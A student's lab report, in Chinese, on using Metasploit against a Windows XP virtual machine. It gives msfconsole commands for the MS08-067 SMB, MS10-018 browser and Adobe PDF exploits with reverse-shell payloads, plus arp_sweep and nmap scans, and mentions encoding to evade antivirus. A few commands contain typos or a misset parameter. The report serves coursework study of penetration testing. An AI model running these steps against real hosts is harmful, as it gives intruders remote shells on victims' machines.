目录
1. 实践内容(3.5分)
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践,如ms08_067; (1分):不唯一
1.2 一个针对浏览器的攻击,如ms11_050;(1分):唯一
1.3 一个针对客户端的攻击,如Adobe;(1分):不唯一
2 报告内容:
(1)用自己的话解释什么是exploit,payload,encode.
实验环境及IP
-
攻击机:kali linux ip为:192.168.135.133
-
靶机:windows xp sp3 英文版,IP为:192.168.135.162
- 顺带一提,不要使用中文版系统,中文版系统由于是很多装机网站做的镜像,修复了许多漏洞;只有英文版可以有一些可以利用的漏洞
-
尝试靶机ping攻击机,发现是可以ping通的
一个主动攻击实践,如ms08_067
-
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。
-
进入msfconsole,使用指令 search ms08_067 指令查询一下针对该漏洞能够运用的攻击模块
-
注意启动msfconsole时要在root权限下,否则后续会提示攻击失败
- 输入指令 use exploit/windows/smb/ms08_067_netapi 进入该攻击模块
-
使用 show payloads,查看能够使用的payloads
-
使用指令 set payload generic/shell_reverse_tcp 设置payload为反向tcp连接
-
可以使用 show options 查看可以设置的参数,使用 show targets 显示攻击对象,并设置攻击对象,默认是0
-
接下来部署参数即可
set RHOST 192.168.135.162 //设置靶机IP set LPORT 5104 //设置攻击机端口 set LHOST 192.168.135.133 //设置攻击机IP
exploit
-
这里注意一定要将xp的防火墙关闭,否则不会返回session
-
这里我们已经获得了shell,运行指令ipconfig /all 试试
-
这里该攻击模块已经测试完毕,成功了
一个针对浏览器的攻击,如ms11_050
-
这里我们使用的ms10-018漏洞攻击(唯一)
-
还是继续先找相关漏洞search ms10_018 模块
-
这里我们使用这个攻击模块,指令: use eexploit/windows/browser/ms10_018_ie_behaviors
- 这里继续设置负载为 set paylod windows/meterpreter/reverse_tcp
set RHOST 192.168.135.162 //设置靶机IP
set SRVHOST 192.168.135.162 //设置服务器ip
set LHOST 192.168.135.133 //设置攻击机IP
set LPORT 5104 //设置攻击机端口
exploit
-
这里可以看到生成了一个地址,在靶机的浏览器内使用即可
- 然后传入许多文件你这里我们用指令sessions 查看会话信息,然后 sessions -i 2 进入获得的sessions
一个针对客户端的攻击,如Adobe
-
使用指令search adobe 查询针对adobe攻击模块
-
使用 use exploit/windows/fileformat/adobe_toolbutton 设置模块
-
使用 set payload windows/meterpreter/reverse_tcp 设置payload
-
使用指令 show options 查看要设置的参数
- 设置参数
set RHOST 192.168.135.162 //设置靶机IP set LPORT 5104 //设置攻击机端口 set LHOST 192.168.135.133 //设置攻击机IP exploit
-
使用指令将文件复制到可以复制的文件夹下(当前账户进不去root文件夹) cp /root/.msf4/local/msf.pdf /home/20175104lyz
-
将其复制到xp桌面下
-
使用指令back 退出当前模块,重新设置一个监听模块
-
在xp上打开文件
-
这时发现成功获得了shell,这个渗透也成功了
成功应用任何一个辅助模块
1.arp_sweep:唯一
-
arp_sweep
使用ARP请求枚举本地局域网络中的全部活跃主机进行扫描。nmap也有相应指令。
use auxiliary/scanner/discovery/arp_sweep //使用arp_sweep 模块
set RHOSTS 192.168.135.162/30//用set进行hosts主机段设置
set THREADS 30//设置扫描速度
run //开始扫描
- 扫描结果似乎只有我们的虚拟机开着只查到一台;VMware Inc大概是vmware 公司的意思,证明这台是虚拟机
2.使用nmap深度扫描目标系统的软件漏洞(只能用于软件漏洞的利用):唯一
-
指令为 nmap -T4 -A -v 192.168.135.162
-
这里可以看到开放端口及对应服务
用自己的话解释什么是exploit,payload,encode.
exploit是一个载体,本身无毒,像是一个特洛伊木马,可以说就是攻击的位置;payload是就像特洛伊木马里面的士兵,就是为了获取shell,是真正起到攻击作用的部分,encode翻译来是编码的意思就是为了不让payload里面出现渗透攻击过程中应加以避免的“坏字符”,还可以改变特征码,从而用于实现免杀。
实践总结与体会
本次实验相当于一次直接渗透的实验,本次实验其实尝试了一些其他漏洞,但由于无法部署等问题所以没有在指导书中展现,我觉得一定是虚拟机的问题,但由于xp xp3 英文版已经是可以找到的最脆弱的虚拟机了,但很多攻击模块还是不好用,可能是已经打过补丁了但实际上XP是微软很久以前就停止维护管理的操作系统,缺少官方补丁维护,所以我们如果坚持的话,还是会找到比较适合自己的独特的方法的。
离实战还缺些什么技术或步骤?
我觉得,主要还是工具或者漏洞有些落后,在实际情况中,别人就算没有打官方补丁,但也至少装了360,开启了防火墙,本此实验基本上你不关防火墙,就算攻击成功,也获取不了会话,如果和之前的免杀技术结合一下,说不好就可以成功了。但离真正的渗透,恐怕还有很长的路要走。